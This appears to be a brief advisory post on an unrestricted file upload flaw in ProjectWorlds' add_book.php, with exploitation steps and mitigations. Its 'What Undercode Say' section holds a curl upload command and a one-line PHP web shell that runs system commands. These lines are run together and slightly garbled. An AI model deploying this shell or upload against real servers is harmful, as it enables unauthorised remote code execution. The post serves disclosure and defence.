Listen to this Post
The vulnerability exists within the `/add_book.php` script of ProjectWorlds versions up to 1.0. The application fails to adequately validate files uploaded via the `image` parameter. An attacker can send a crafted HTTP POST request containing a malicious file, such as a web shell with a `.php` extension. Because the server does not restrict uploaded file types or perform proper verification, the malicious file is saved to the web server’s filesystem. This allows the attacker to remotely access the uploaded file by navigating to its location on the server, leading to arbitrary code execution within the context of the web application and server.
Platform: ProjectWorlds
Version: <= 1.0
Vulnerability: Unrestricted File Upload
Severity: Medium
Date: 2025-11-23
Prediction: No official patch
What Undercode Say:
curl -X POST -F "[email protected]" http://target/add_book.php find /var/www/html -name ".php" -newer /tmp/timestamp -ls cat > shell.php << 'EOF' <?php system($_GET['c']); ?> EOF
How Exploit:
1. Attacker crafts a PHP web shell file.
- Attacker sends POST request to `/add_book.php` with shell in `image` parameter.
3. Server saves file without validation.
- Attacker accesses the uploaded shell via web browser.
5. Attacker executes system commands remotely.
Protection from this CVE:
1. Implement strict file-type whitelisting.
2. Validate file content/magic numbers.
3. Store files outside webroot.
4. Use randomized filenames.
Impact:
Remote Code Execution
System Compromise
Data Breach
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
